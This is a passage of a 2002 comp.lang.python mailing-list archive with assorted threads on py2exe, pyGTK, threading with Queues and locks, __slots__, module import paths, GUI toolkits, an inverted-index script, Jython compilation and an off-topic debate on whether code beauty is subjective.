2002, Terje Johan Abrahamsen wrote: > Is there any way to make .exe files out of Python, that doesn't create > such humongous files as py2exe does? A little popup box with a message > demands about 2.5 mb of hd space. Or is that the price to pay? If you're careful about what you include in the exe and if you don't mind doing the GUI yourself (Win32 API calls through the win32all stuff) you can get an app at less than 1/2 a meg. BUT, this can be pretty tedious - if at all possible make your app do enough to make a bigger download worth it (if it's just a popup box, a near-skeleton Win32 C program should suffice). -Dave From zopestoller at thomas-guettler.de Thu May 23 04:06:04 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Thu, 23 May 2002 10:06:04 +0200 Subject: pyGTK References: <3CEC1CD5.A7A57A8E@nospam.com> Message-ID: <3CECA2EC.3010806@thomas-guettler.de> John J Breen wrote: > Hey everyone, > I am new to both python and GTK and would like to write an > application using pyGTK. I have been able to get some standard widgets > and things working but have not been able to get as much done as I would > like. I can't seem to find much as far as documentation goes for pyGTK, > it seems the best I can find is C/GTK code and converting/understanding > it has been difficult. Can anyone make any suggestions as to what to do? > Websites? Some open-source applications already written in pyGTK would > be great to look at the source code and see whats going on. I am learning pygtk at the moment, too. The FAQ is some links to tutorials and references. The API at www.gtk.org is good. There is an email/news client called "pyne" which is written in pygtk. HTH thomas From logiplexsoftware at earthlink.net Fri May 24 18:30:07 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Fri, 24 May 2002 15:30:07 -0700 Subject: multithreading In-Reply-To: References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: <20020524153007.5bd23b9c.logiplexsoftware@earthlink.net> On 24 May 2002 18:03:15 -0400 Fran?ois Pinard wrote: > [Aahz] > > > My response is that instead of trying to take advantage of the few > > atomic Python constructs, instead code defensively and always use > > thread-safe mechanisms for passing information. Because Python has a > > powerful and simple Queue, this is straightforward to accomplish. > > But abusing Queues for very simple things, a bit everywhere, might yield > code bloat, and impinge readability. This is a bit like if someone was > inviting everyone to abuse fixed point integer arithmetic all over as a > way to program defensively against floating point arithmetic. > > The key point is proper documentation. Even saying that a behaviour is > undefined is good documentation, as it teaches what should be avoided. > > One could be paranoid and setup queues and server to serve `os.listdir()', > say, in fear that two threads could not simultaneously use that library > function. We can go overboard doing such things, maybe without any kind > of real necessity. Best is to know how thing works, that is, what is > guaranteed and can be relied upon, and what is not guaranteed, and need > synchronisation mechanisms. Mere testing is out of question, as a working > program is no proof of a correct usage. Abusing of a few synchronisation > primitives is no good either: I hope being able to know Python well enough > to feel it is on my side, and not have to program defensively as if it > was a lost cause trying to understand how Python is meant to be used. In your original post, you mentioned having problems determining which Python operations are atomic. IMHO, this is not a good approach to thread-safety. While using Queues exclusively would be overkill, a good rule of thumb is to avoid analyzing what the interpreter does internally to determine thread-safety and simply use locks whenever accessing shared data. If you use a Queue, this is done for you, which is what makes Queues so convenient. However, trying to determine if a particular operation is atomic is overkill in the other direction. Simply use a Lock (or RLock, as Aahz will undoubtedly suggest) to protect shared data while a thread is accessing it. Obviously, if the data is static, no lock is needed. However, if there is the possiblity that another thread could alter said data, then use a lock. This will save you a ton of headaches later. While it can be argued that this approach introduces overhead (and possible deadlock issues if you aren't careful), I would counter that it also saves development time, which is why you're using Python in the first place. Regards, -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From tim.one at comcast.net Wed May 29 23:24:53 2002 From: tim.one at comcast.net (Tim Peters) Date: Wed, 29 May 2002 23:24:53 -0400 Subject: multithreading In-Reply-To: <3CF43BA6.5020106@skippinet.com.au> Message-ID: [Mark Hammond] > You can invoke whatever you like, but it doesn't change anything for > anyone else ;) > > I believe advocating the Queue module as the "one way" is naive. The > Queue module is very useful, and indeed has solved many threading > problems in an elegant way for me - however, in my experience, it has > been used in less than 50% of the times I have needed mutli-threaded > synchronization. That's because you're not thinking straight. Here's an ugly critical section with a dangerous primitive lock: alock.acquire() do something critical alock.release() Here's a beautiful critical section with a robust Queue q: q.get() do something critical q.put("this may look like a string, but it's a lock") See? Just make sure every critical section tries to get from the queue before putting something on it, and make sure nobody puts something on the queue when they shouldn't. Also put something on q right after you create it, so the first q.get() doesn't block forever. That's much easier than remembering not to acquire a lock right after you create one. > If-your-only-tool-is-a-hammer-everything-starts-looking-like-a-thumb ly I can't imagine what you're on about. when-all-you-have-are-thumbs-everything-looks-like-an-ass-ly y'rs - tim From phr-n2002b at NOSPAMnightsong.com Mon May 27 09:58:20 2002 From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin) Date: 27 May 2002 06:58:20 -0700 Subject: Comparing a password against .htpasswd References: Message-ID: <7xr8jxvgjn.fsf@ruckus.brouhaha.com> Der Papst writes: > on windows machines htpasswd encrypts using > only a modified version of MD5. The md5 module > delivered together with python does not work with > the htpasswd-generated passwords. Has anybody > done something in this area? I think apache prepends a random salt to the password before hashing it, and stores the salt in htpasswd. You should be able to check the source for what it's doing, then code the same thing in python. From fperez528 at yahoo.com Mon May 20 01:34:08 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 19 May 2002 23:34:08 -0600 Subject: string module References: Message-ID: Phil Hystad wrote: > For example, string.uppercase has the following values: > > ABCDEFGHIJKLMNOPQRSTUVWXYZ\xC0\xC1\xC2....\xCde > >>> import string >>> string.uppercase 'ABCDEFGHIJKLMNOPQRSTUVWXYZ\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd8\xd9\xda\xdb\xdc\xdd\xde' >>> print string.uppercase ABCDEFGHIJKLMNOPQRSTUVWXYZ?????????????????????????????? The difference between repr() and str(). cheers, f. From cliechti at gmx.net Thu May 23 19:04:53 2002 From: cliechti at gmx.net (Chris Liechti) Date: 24 May 2002 01:04:53 +0200 Subject: property question References: Message-ID: Markus Jais wrote in news:acjrga$q04ag$1 at ID-75083.news.dfncis.de: > Chris Liechti wrote: >> Markus Jais wrote: >> i think the usual way is to store the value in a variable with >> preceeding underlines ("self._email" or two underlines if you want a >> private attribute) > > thanks for your tip: using an underline works > but when I use two underlines with slots like this > > class Address(object): > __slots__ = ('firstname', 'lastname', __email') > def __init__(self): > self.__email = " > I get this error: > AttributeError: 'Address' object has no attribute '_Address__email' that's the way "private" attributes are created in python - by adding the class name in from of them. never used __slots__ yet, but maybe it would work when you write: __slots__ = ('firstname', 'lastname', '_Address__email') OTH making things private is not the prefered programming style in python. i would prefer one underline (that means by convention "that's meant to be internal, don't touch it", but it's still easy if you have to). chris -- Chris From mertz at gnosis.cx Wed May 8 22:34:20 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Wed, 08 May 2002 22:34:20 -0400 Subject: comparing lists References: Message-ID: |> From: Lulu of the Lotus-Eaters [mailto:mertz at gnosis.cx] |> ...What you probably want to do is add a delimiter |> between the elements that you are pretty sure will not occur ^^^^^^^^^^^ "Delaney, Timothy" wrote previously: |Make that 100% certain will not occur in the original strings ... Nah... "pretty sure" is good enough. Specifically, if you use a random delimiter of length N, and a list of length K, you can be sure with a confidence of roughly K/(256**N). N doesn't have to get very large for pretty sure to be pretty *damn* sure :-). |I would suggest just sticking with converting to lowercase, sorting, then |comparing. |l1 = map(string.lower, l1) # or l1 = [x.lower() for x in l1] |l2 = map(string.lower, l2) # or l2 = [x.lower() for x in l2] |l1.sort() |l2.sort() Well... here's the thing: import string from time import clock from random import randrange dSize = 3 delim = ''.join(map(chr, [randrange(0,256) for _ in range(dSize)])) SIZE = 100000 l1 = ['aaaaa' for x in range(SIZE)] l2 = ['aaaaa' for x in range(SIZE)] def DelaneyCompare(l1, l2): l1 = map(string.lower, l1) l2 = map(string.lower, l2) l1.sort() l2.sort() return (l1==l2) def LuluCompare(l1, l2): l1.sort() l2.sort() s1 = delim.join(l1).lower() s2 = delim.join(l2).lower() return (s1==s2) if __name__=='__main__': start = clock() print 'Comparison Result:', DelaneyCompare(l1, l2) print 'Time:', clock()-start start = clock() print 'Comparison Result:', LuluCompare(l1, l2) print 'Time:', clock()-start I like my version about 10x better :-). Yours, Lulu... P.S. Yeah... I realized I cheated. The lowercasing is so much faster for the whole string than in a map() across all the little strings. In my hasty defense: if the strings really are insensitive, why not just store them in a lower() version when they are added to the list in the first place? P.P.S. If I stop cheating, I like my version about 0.95x as well as Tim's :-). -- mertz@ | The specter of free information is haunting the `Net! All the gnosis | powers of IP- and crypto-tyranny have entered into an unholy .cx | alliance...ideas have nothing to lose but their chains. Unite | against "intellectual property" and anti-privacy regimes! ------------------------------------------------------------------------- From kwokng at earthlink.net Fri May 17 00:58:08 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 17 May 2002 04:58:08 GMT Subject: serializing DOM object References: Message-ID: Do you mean I shouls serialize the XML? If so, what is the point to freeze the state of String? Billy Ng "Martin v. Loewis" wrote in message news:m3bsbijwzu.fsf at mira.informatik.hu-berlin.de... > "Billy Ng" writes: > > > I want to use Java to save the DOM object to a blob field in mysql. Then, > > using python to open it later. Is it possible? Someone told me as long as > > I need to serialize the DOM object, it is doable. If anybody have this > > experience, would you please share with me. > > I recommend to serialize DOM documents as XML. > > Regards, > Martin > From kragen at pobox.com Tue May 14 18:29:13 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 18:29:13 -0400 Subject: Unnamed Tkinter object reference? References: <3CE13ED5.B0D29BC4@ingenta.com> Message-ID: <83n0v29xdy.fsf@panacea.canonical.org> Christopher Myers writes: > I have an app where I'm building widgets on the fly, and they do not > have names, so I can't refer to them to use their methods, winfo_children --- you must have missed my last post. From jb at cascade-sys.com Fri May 17 13:07:33 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 10:07:33 -0700 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> <1021645025.3396@yasure> Message-ID: <3CE538D5.434A5BC3@cascade-sys.com> Donn Cave wrote: > Quoth "James J. Besemer" : > ... > | Of course, there are some matters that are purely subjective. I think the > | difference is when humans begin to pass judgement on things, rather than > | merely measure them. > > What does "subjective" mean? Applicable only to the individual self > and without relevance to anyone else? 1. existing in a person's mind and not produced by things outside it, not objective. 2. depending on personal taste or views, etc. > If so, then I think I'm hearing > that a lot of what we call subjective, isn't. Presumably because we > aren't all so different after all, and though we don't fully understand > the basis for our reactions to things, that basis is still shared by > any being like us. I agree that many things often regarded subjective are not subjective at all. E.g., beauty. People say beauty is in the mind of the beholder but I would counter argue that humans are programmed to regard certain features as beautiful and others as not. Clearly, defects tend to be not beautiful. To some degree, the complexity of the 3D surfaces that make up a face or a body is inversely related to beauty. Wrinkles are not particularly beautiful while smooth skin with gentle features is. Humans are programmed to be attracted to their children, and this translates to some extent to adult 'beauty' in that attractive people tend to be "cute". I.e., they have facial features that are understated and somewhat child like and less adult and certainly show no signs of aging. And of course, human males anyway are genetically programmed to respond to certain female body features. One could argue it's not subjective at all. I read somewhere that there's been a fair amount of study on this and with computer models of faces there is surprising human consensus about what is beautiful and regarding relative degrees of attractiveness. (Frankly, I suspect that beauty is 'subjective' is as polite lie we tell ourselves because the majority of people are not fortunate enough to mate with beautiful partners. And anyway, it's certainly not PC to talk in objective terms about people who are not beautiful.) Similarly some things that are considered objective often are not objective at all. E.g., with politics, I think most people pick a side, and then reinforce that choice by selectively interpreting most of the information they get from the world of politics. Humans are intrinsically tribal in nature and quickly form we vs. they groups. Democratic Politics feed that instinct by exaggerating the differences, the importance of the outcomes and by demonizing the other side. > In this analysis, we don't just happen to think Python code looks > better because of some inexplicable individual quirk. That seems > reasonable to me. This is harder because judging the 'beauty' of code is much harder to extract from your training and background, and what you're used to. Unlike human beauty you don't have any genetic predisposition one way or the other. IIRC, this thread started out with the notion that Python was somehow objectively more beautiful than Perl. Frankly I very much share that BELIEF (subjective judgment) but I think it's an uphill battle to argue the case from a purely objective basis. E.g., to me personally it seems you can make a case on the dollar signs alone. I jokingly tell people they'll be 20% more productive in Python simply on the basis of dollar-signs-not-typed. ;0) However, I know people who are immersed in Perl and love it and they think the dollar signs are great. I was amazed to hear this but they pointed out that, among other things, they work even WITHIN quoted strings (just like in the shell): E.g., print "a = $a, b = $b, c = $c\n"; is arguably more elegant and less tedious than print "a = ", a, ", b = ", b, ", c = ", c So, if you're used to "scripting" languages, the dollar sign prefix looks natural rather than ugly. To my Perl enthusiasts and many others coming from a C background, the necessity to type foo += 1 instead of foo++ is patently absurd. Similarly the omission of the several other extremely common and useful C idioms that are glorified in Perl is viewed as a glaring defect in Python. All the rationale why they're not needed and how there are work arounds sound (to these listeners) like so much crap. I agree it's a minor issue but it's hard to build an objective case that Perl didn't make the better choice in this regard (being one of the few places where Perl did NOT try to be 'inventive'). Note how often these topics come up and the answer is that "you have no choice, eventually you'll get used to it, once you're properly Pythonized it won't seem so bad..." Sounds like the epitome of SUBJECTIVE to me. In the area of good vs. ugly code, I think there actually are only a few things that most humans agree about and thus could be considered objective criteria. Probably the least controversial item is indenting code to reflect control structure. This is so ingrained in most languages and in most programmers for so long that virtually nobody would argue against it. In fact, I submit that this purely stylistic expression being nearly universal in the first place is what made Python's innovation of relying upon it possible. (Incidentally, this feature did NOT originate with Python or with ABC. The concept was discussed in ACM's SIGPLAN Notices ca. 1985 and was used in several experimental languages before Guido thought of it or decided to use it). Beyond that, the general notion of clarity ranks very high, thought that is hard to pin down in objective terms. In general, discussing 'clarity' means that (a) you're reading code not necessarily writing it, (b) you're trying to understand it, and (c) you're making a JUDGMENT about how easy it was to understand. Sometimes clarity means good comments. Sometimes clarity relies on "proper" choice of variable and function names. Sometimes it relies on the fact that the algorithm itself is simple and elegant (somewhat independent of the implementation in a language). I think clarity is vitally important but I also think it's highly subjective. Thus for many people you get the "I don't know what it is but I know it when I see it" (and then, usually when THEY write it. ;o) Overall, I think code beauty is almost entirely subjective, i.e., strictly in the mind of the beholder. Beyond proper indenting, most of the choices people have in writing code are actually points of contention. It doesn't apply to Python but in C a lot of people have devoted a lot of energy arguing (and changing) the locations of curly braces. In Python, there is no clear group consensus about tabs vs. spaces (Ms. Creighton's amusing PEP notwithstanding). Of course, people can band together and agree to follow an arbitrary style. And with time that particular style will look 'beautiful' and all others will be perceived as 'ugly' or at least less beautiful. But most of it is subjective judgment, not objective measurement. You can argue that it's 'good' in the sense that it's settled and an arbitrary settlement is better than continued debate. But you can't argue that it's 'good' in some intrinsic sense. Rather, you can but you've left the domain of objective debate. > But then, what about list comprehensions? Dunno. They're quite new to me personally so I find them harder to understand than map() and filter() or for loops. However, they happen to resemble a fairly common mathematical notation, so to some people they might seem very natural and the epitome of clarity. And I acknowledge that my preference for map() and filter() is special in that if you don't already have that idiom in your background then they're alien as all hell. Since comprehensions are non-obvious to me, since they're about the slowest possible way to form a list, and since they're not backwards compatible with more commonly available Pythons, I'm not sure I'll use them all that much in the foreseeable future. Bottom line: the choice to use them is entirely subjective. ;o) Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From rob Fri May 24 09:02:01 2002 From: rob (Rob Andrews) Date: Fri, 24 May 2002 13:02:01 GMT Subject: article on Python modules: critique? References: Message-ID: "Emile van Sebille" wrote in news:ohqH8.94808$UV4.177415 @rwcrnsc54: > > No glaring blunders that I spotted, just the omission of help as an aid > in investigating a newly imported module: > Ahh, thanks. That was definitely a bit of an oversight. Rob From python at rcn.com Sun May 19 03:57:49 2002 From: python at rcn.com (Raymond Hettinger) Date: Sun, 19 May 2002 03:57:49 -0400 Subject: Recursion problem References: Message-ID: Hello Dennis, I suspect that you want a separate data array for each instance of Compound. Right now, both c and d share the same list. Separate them the way you did with Simple. This should run nicely: class Simple: def __init__(self,x): self.data = x def getData(self): return self.data class Compound: def __init__(self): self.data = [] def getData(self): y = "" for i in self.data: y += i.getData() return y def test(): a = Simple("hello") b = Simple("goodbye") c = Compound() c.data.append(a) c.data.append(b) print c.getData() d = Compound() d.data.append(c) print d.getData() Raymond Hettinger "Dennis Peterson" wrote in message news:ac7d2u02vgg at enews2.newsguy.com... > I'm trying to implement a basic Composite pattern. In the following code, I > expect c.getData() and d.getData() to both return "hellogoodbye". Instead, > on d.getData() I get stacktrace printing "y += i.getData()" repeatedly until > recursion depth exceeded. Why? > > I'm new to Python, running latest Windows version just downloaded. > > class Simple: > def __init__(self,x): > self.data = x > def getData(self): > return self.data > > class Compound: > data = [] > def getData(self): > y = "" > for i in self.data: > y += i.getData() > return y > > def test(): > a = Simple("hello") > b = Simple("goodbye") > c = Compound() > c.data.append(a) > c.data.append(b) > print c.getData() > d = Compound() > d.data.append(c) > print d.getData() > > From cliechti at gmx.net Fri May 10 18:41:41 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 00:41:41 +0200 Subject: Which GUI Library to Use References: Message-ID: Gustavo Cordova wrote in news:mailman.1021068439.22098.python-list at python.org: > A question: > > Is designing and making a GUI toolkit a'la Tk, > with only the most basic stuff written in C > (native GUI interface, speed stuff, etc) and > the rest written in Python, doable? so somthing like Java's SWING. the only thing you need is an area and some drawing functions. i'm sure it's doable, but... - you need many widgets, buttons, labels, lists, trees. e.g. drawing a foldable tree is some work. - speed. SWING is rich on components but i never seen one program that not made the impression of beeing slow :-( - userbase. just another toolkit? who's gonna use it. you'll need supporters and developers to take off ground. - layouters. placing widgets by coordinate is painful there needs to be some automatic layout mechanism. so you need to calculate sizes of fonts, labels, etc. again some work - you need a good look and feel. best it looks native on each platform it runs... - event system you have to distribute inputs and update messgaes > I can't help thinking that building something > like that would be very interesting. ineresting of course. but a lot of work to achieve a usable level. > Opinions? i wanted such a GUI kit... i've once played around with VNC (http://www.uk.research.att.com/vnc/) in java (SWING). i made a panel that is accessible by a remote computer as well as local with the mouse etc. i wanted to do the same thing in python but it doesn't seem to be that easy with the toolkits i know. > Would it be worth the effort? i fear not. but still, if you want to gain experience and have some time to spend you can learn much about software design, OO, ... chris -- Chris From juenglin at informatik.uni-freiburg.de Sat May 4 09:09:40 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 04 May 2002 15:09:40 +0200 Subject: Is there a way to 'mask out' inherited methods? References: <6LKA8.2676$zW3.60822@news1.tin.it> Message-ID: Alex Martelli writes: > so you can now do that (slowly:-) where earlier you could not, > and you could try your hand at writing a custom metaclass for > such masking purposes (not trivial), but by far the best approach > remains as it always was to eschew inheritance when it does > not meet your needs in favour of automatic (possibly selective) > delegation/aggregation/containment. What dou you mean with 'automatic' in your last sentence? I don't like to write wrappers (trivial code, yes) to the aggregated object to expose a subset of its methods. Is there a way to avoid writing wrappers? Regards, Ralf From postmisc at yahoo.com.au Fri May 17 23:13:30 2002 From: postmisc at yahoo.com.au (Patrick) Date: Sat, 18 May 2002 13:13:30 +1000 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: "Gon?alo Rodrigues" wrote in message news:fufaeu882e9qv3eh7h2m2obhqk3s33n64d at 4ax.com... > This type of reasoning is common in many schools of literary criticism. > e.g. The supposed aesthetic supremacy of a given author, say > Shakespeare, is more a product of historical conditions than anything > else. Please listen. You have not understood me. You have chosen to set me up as a platform on which to defend Shakespeare against some imagined evangelist of popular culture who believes that Kylie Minogue is in every way the artistic equal of Shakespeare, but is only consigned to the lowly status of "pop artist" by an "aristocratic", "elitist" intellectual establishment. But, get off the high horse for a minute Goncalo. Whoever you're talking to, it is not me. Historical conditions *do* contribute to the perceived aesthetic value of works of art. Van Gogh died a pauper, his works appreciated by virtually nobody. The impressionists banded together as a "movement" only because their works were scorned by the establishment. And (some of) their works were, and remain, *beautiful*. Historical conditions, particularly the tastes of the "elite", play an enormous role in the popular appreciation of "quality". Before you shoot me down as another crass socialist revolutionary (again!), please consider that I'm using the word "elite" in a positive sense. Because anything that is of exceptional merit is itself "elite" (is rare, rarefied, and usually somewhat strange), and relies on an "elite" to pass it down to future generations, and to teach future generations _how_ to appreciate it. I suspect there is a philosophical issue that will prevent us from understanding each other. I'll try to clear it up from my perspective. If historical conditions (and not just historical conditions but social conditions, demographics, geography, etc) have _any_ effect on the perceived aesthetic value of a work of art, it implies that the "quality" of this work of art is not entirely intrinsic. But now I'm gonna shout this because you don't seem to want to grant me the subtlely of mind to understand this: THIS DOES NOT IMPLY THAT THERE IS NO *INTRINSIC* VALUE IN IT! The intrinsic quality, whatever it is, is what makes it more likely to be universally appreciated (like Shakespeare) by those who have not necessarily been raised in the culture / fashion / political social climate from which it emerged. Or perhaps there really *is* some kind of Platonic essence of "good". I don't know. (The fact that people from all times and places have actively ranked and valued various things - and not just for their trade value - does tend to suggest this). > In other words, any supposed aesthetic supremacy is more of a > diktat than anything else, and the literary critics that disagree have > their visions distorted. Wasn't it enough to use the loaded "diktat"? Did you really have to assign it "more" value than "anything else"? FWIW, I know that this is a common view. But again, it is not mine. > I disagree profoundly with this. But, and even > more importantly, and looking at the Shakespeare case, the fact that he > is read, studied and represented everywhere, that sucessive generations > have hailed him as a genius, that the best authors since Shakespeare > inspire themselves, directly or indirectly, in him, is for me proof > enough of Shakespeare's supremacy. > > Of course if you tell me that this is all complete bull, and that the > real story lies in some of elitistic/aristocratic conspiracy, then I > will not even bother to refute you. By all means "refute" me if you feel it necessary. But please make sure you're refuting *me*, not an imaginary opponent whose views are not mine. I don't have the time or inclination to disavow that imaginary person's views a second time. From fabian79 at gmx.it Mon May 13 15:42:36 2002 From: fabian79 at gmx.it (Fabian Necci) Date: Mon, 13 May 2002 21:42:36 +0200 Subject: How to create a web interface for a daemon written in Python? References: Message-ID: You can use Zope www.zope.org and use your script as an external method of Zope bye Fabian "Markus" ha scritto nel messaggio news:aboknd$o52$00$1 at news.t-online.com... > Hi all, > > we're using a Python script as a watchdog for another process. > The watchdog is running in console mode, so it is necessary to access the > terminal it is running on to operate the program. > > I'm thinking about a remote control feature via a web interface, running the > script in the background. The interface simply has to provide access to the > 3 basic functions of the watchdog script, i.e. "start", "stop" and "reset", > all of which don't need any parameters. > > Can anybody give me a hint about the best way to do this? (Or even better, a > hint to a working implementation of something similar ...) > > TIA, > Markus From sholden at holdenweb.com Mon May 6 08:33:34 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 08:33:34 -0400 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> Message-ID: "Tiberius Teng" wrote in message news:6c92a8bc.0205060225.46b1c6c9 at posting.google.com... > robline at purdue.edu (Rob Lineberger) wrote in message news:<84773476.0205052134.8c1d533 at posting.google.com>... > > I'm trying to learn Python, so I picked up Mark Lutz' Programming > > Python. Using latest builds of Python and Pythonwin. > > > > print 'Hello world!' worked ok. > > > > As soon as I move on to page 13, Running Module Files, it breaks. I > > opened up notepad and created a file called spam.py. When I try to > > use it, pythonwin says no such module exists. I saved it in My > > Documents, but I have no idea how to tell Python to look there. So I > > saved it to C:\Python22\Lib\spam.py. No dice. > > > > Tried using spam.py from the command prompt, IDLE, etc, all to no > > avail. > > > > Tried setting PYTHONPATH to C:\Python22\Lib but that didn't work > > either. > > > > I can't learn this language if I can't create and import modules. Any > > advice? > > I would recommand you start learning Python by reading "Learning > Python" (also by Mark Lutz & David Ascher), not "Programming Python" > ... :) > > However if you put your spam.py in C:\Python22\Lib then typing 'import > spam' inside Pythonwin / IDLE should work ... More generally, a module will be found if it lives in a directory listed in the sys.path list. You can modify your site globally in a number of ways. One involves setting the PYTHONPATH environment variable, another involves writing a site-specific /Lib/sitecustomize.py, which will (if it exists) be imported by site.py as a part of the interpreter's initialization. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From hst at empolis.co.uk Thu May 16 11:59:00 2002 From: hst at empolis.co.uk (Harvey Thomas) Date: Thu, 16 May 2002 16:59:00 +0100 Subject: how to determine an 'open' string? Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> Holger wrote > > > hello, > > with my replacement rlcompleter module i'd like to > have a *correct* check if a string is 'open'. > examples: > > asd"""askdjalsdk # open > aksdjasd # closed > asjdkk"kajsd'''' # open > "'asdasd" # closed > """dontcountoneven" # open > > so i need a function which takes these strings as > an argument and return 1 for 'open', 0 for a 'closed' string. > > Any working ideas? > > holger > I think this is OK import re rex = re.compile('"""|\'\'\'|"|\'') def quotecompleted(str): global rex f = rex.findall(str) lf = len(f) if lf < 2: #the trivial cases return lf else: cmp = f[0] i = 1 while i < lf: if cmp == f[i]: if i + 1 == lf: return 0 else: cmp = f[i + 1] i += 2 else: i += 1 return 1 HTH Harvey _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. From max at alcyone.com Sun May 26 17:35:02 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 26 May 2002 14:35:02 -0700 Subject: Need help starting to learn Python. References: <63f2fcbe.0205261315.724c97ad@posting.google.com> Message-ID: <3CF15506.A2E2E942@alcyone.com> seraphim wrote: > I am very interested in learning how to use Python. A while back I > became interested in learning it, but could not find resources in to > do so. My friend let me borrow his C book and I have got a little into > that, but as I was reading the statement about RC1 of Slackware 8.1, I > noticed a link to comp.lang.python. I decided to check it out. In > doing so my interest in Python has been spurred again. I was hoping > that someone here could point me to a really nice website to learn > Python with, like a tutorial. http://www.python.org/doc/current/tut/tut.html -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From shagshag13 at yahoo.fr Sat May 25 04:39:56 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 25 May 2002 01:39:56 -0700 Subject: little question References: <4aNC8.26326$CN3.810152@news2.tin.it> <409a56e2.0205130656.642acf89@posting.google.com> <409a56e2.0205212351.6ce4a5c6@posting.google.com> <83vg9dl9vh.fsf@panacea.canonical.org> Message-ID: <409a56e2.0205250039.402bc7f1@posting.google.com> Kragen Sitaker wrote in message news:<83vg9dl9vh.fsf at panacea.canonical.org>... > shagshag13 at yahoo.fr (Shagshag) writes: > > As i'm still a newbie in python, comments are welcome. > > ... > > documents = {} > > > > documents[0] = 'pease porridge hot pease porridge cold' > > documents[1] = 'pease porridge in the pot' > > documents[2] = 'nine days old' > > documents[3] = 'some like it hot some like it cold' > > documents[4] = 'some like it in the pot' > > documents[5] = 'nine days old' > > I'd write this whole stretch here as > documents = ['pease porridge hot pease porridge cold', > 'pease porridge in the pot', > 'nine days old', > 'some like it hot some like it cold', > 'some like it in the pot', > 'nine days old'] > > This turns documents from a dict into a list. Yes, i missed that, Thanks !!! > > terms = documents[i].split() > > added = [] > > I think 'added' should be a dict, at which point you can use not > added.has_key(t) instead of t not in added (although t not in added > will still work in recent Pythons) and added[t] = 1 instead of > added.append(t). For your sample documents, it doesn't matter, but > for documents with more than a few hundred words, you'll spend all > your time scanning the 'added' list otherwise. It's ok, another thanks !!! > > > for t in terms: > > node = PostingListNode(i, terms.count(t)) > > Similarly, terms.count() has to scan terms from beginning to end; I > would instead use a dict to count the number of times each term is > found in 'terms' and then actually add things to the invertedIndex > after the end of this loop, in another loop over the contents of that > dict. I understand what you mean, but sorry, I think i don't see how i should do that... > How about 'return str((self.getDocumentID(), self.getInformation()))'? Ok, it's shorter. > Frankly, though, I'd be inclined to just use (documentID, information) > tuples instad of defining a class. No in fact i was thinking of putting object in "information", so PostingListNode where a sort of container. > Why don't you just store the lists of nodes that are in _container > directly in the hash instead? It would shorten add() considerably, > make get_nodes one line long, and __str__ could just return something > like str(self._hash). Here i wish to save memory place, by having an array with words, or multiple words and only working on integer. But i'm not really aware of how i should do that and maybe i missed this point too. Do you know where should i go to read this kind of stuff ? > Your caller here is going to be expecting a list in the normal case. > Why is it better to return None instead of raising an exception in the > abnormal case? Well by now, i don't understand all the holding and outcomes of exception... > I can see that it might be better to return [] I'm going to do that !!! Great thanks for all your comments !!! S13. ps : do you think i could post newer version here for comments ? or as this will be long post i should avoid it ? From smarsh at hotmail.com Wed May 22 23:38:32 2002 From: smarsh at hotmail.com (scott) Date: Thu, 23 May 2002 03:38:32 GMT Subject: Jython .py to .class confusion Message-ID: <3CEC6443.90510AE9@hotmail.com> I'm trying to use "jythonc" in Jython 2.1 to create a .class file from a .py file. I've read Chapter 9 of Bruce Eckels draft of "Thinking in Patterns" (http://64.78.49.204/) which has a section on this very task, but I am unable to grok it. It looks like I need: 1. an "@sig" string as the first line of my method to deal with strong / weak typing issues (?something like "@sig public javax.swing.??? getPicks()" ?) 2. Information about Java package creation from the python code. Apparently this involves the --package flag of jythonc. I'm stuck here. Perhaps if I give a concrete example, someone will show the modifications / steps required to create a .class file from this .py file. Assume this file (loto3.py) is the only file on a floppy disk in a Windows 2000 system running Jython 2.1 on Java 1.4.0: --------------------------------------------------- import random import javax.swing as swing def getPicks(): li = [] i = 0 numPicks = int(swing.JOptionPane.showInputDialog("How many picks?: ")) theRange = int((swing.JOptionPane.showInputDialog("What range?: "))) + 1 while i < numPicks: elem = random.randrange(1, theRange) if elem not in li: li.append(elem) i = i+1 conv = str(li) return swing.JOptionPane.showMessageDialog(None, "Your #'s are: " + conv) getPicks() -------------------------------------------------- The program pops up 2 Swing input boxes for a lottery number picker (e.g. you could request 6 "random" numbers out of 49 possibilities) and produces a string in a Swing message box containing the randomly generated numbers. When I tried to 